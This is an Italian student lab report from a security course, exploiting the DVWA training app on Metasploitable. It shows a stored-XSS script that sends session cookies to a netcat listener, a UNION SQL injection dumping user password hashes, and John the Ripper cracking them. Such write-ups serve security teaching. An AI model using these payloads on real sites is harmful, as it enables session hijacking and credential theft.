

S6L5 PROGETTO

ALESSANDRO MARASCA

TRACCIA

Nell'esercizio di oggi, viene richiesto di exploitare le vulnerabilità:

- 1. scored XSS.**
- 2. SQL injection (blind).**

Presenti sull'applicazione DVWA in esecuzione sulla macchina di laboratorio Metasploitable, dove va preconfigurato il livello di sicurezza=LOW. Scopo dell'esercizio:

- 1. Recuperare i cookie di sessione delle vittime del XSS reflected ed inviarli ad un server sotto il controllo dell'attaccante.**
- 2. Recuperare le password degli utenti presenti sul DB (sfruttando la SQLi).**

SCORED XSS

Andiamo a recuperare i cookie di sessione ID con uno SCORED XSS tramite lo script:

```
<script>
window.location="http://127.0.0.1
:12345/index.html?
param1="+document.cookie;
</script>
```

Restiamo in ascolto su Netcat ottenendo le informazioni necessarie sul nostro portale.

Name * Metattack

Message * `<script>alert(document.cookie)</script>`

Sign Guestbook

⊕ 192.168.49.101

security=low; PHPSESSID=cd5dccc171324c28aff3b77565b89d12

OK

More info

(kali@kali)-[~]

\$ nc -l -p 12345

GET /index.html?param1=security=low;%20PHPSESSID=4bd1235a25814bdf7fd51a6e2f3d6278 HTTP/1.1

Host: 127.0.0.1:12345

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Connection: keep-alive

Referer: http://192.168.49.101/

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: cross-site

Create time: 2024-03-01 04:55:07 Access time: 2024-03-01 04:55:12 Modify time: 2010-03-16 01:56:22

View Highlight Download Hexdump [Edit] Chmod Rename Touch

Saved!

<?php

SQL INJECTION (BLIND)

Andiamo a recuperare le pwd
cifrate attraverso SQL INJECTION
e il comando:

```
' UNION SELECT user,password  
FROM users;#
```

Vulnerability: SQL Injection (Blind)

User ID:


```
ID: 'UNION SELECT user, password FROM users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

```
ID: 'UNION SELECT user, password FROM users#  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03
```

```
ID: 'UNION SELECT user, password FROM users#  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
```

```
ID: 'UNION SELECT user, password FROM users#  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
```

```
ID: 'UNION SELECT user, password FROM users#  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

PASSWORD CRACKING

Col comando in grafica andiamo a decifrare le password.

```
(kali㉿kali)-[~]  
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 ./pwd.txt  
Using default input encoding: UTF-8  
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])  
Warning: no OpenMP support for this hash type, consider --fork=2  
Press 'q' or Ctrl-C to abort, almost any other key for status  
password      (?)  
abc123        (?)  
letmein       (?)  
charley       (?)  
4g 0:00:00:00 DONE (2024-03-01 08:28) 16.00g/s 11520p/s 11520c/s 15360C/s my3kids..soccer9  
Warning: passwords printed above might not be all those cracked  
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably  
Session completed.
```

GRAZIE

PROGETTO
S6L5

ALESSANDRO MARASCA
EPICODE - CS0124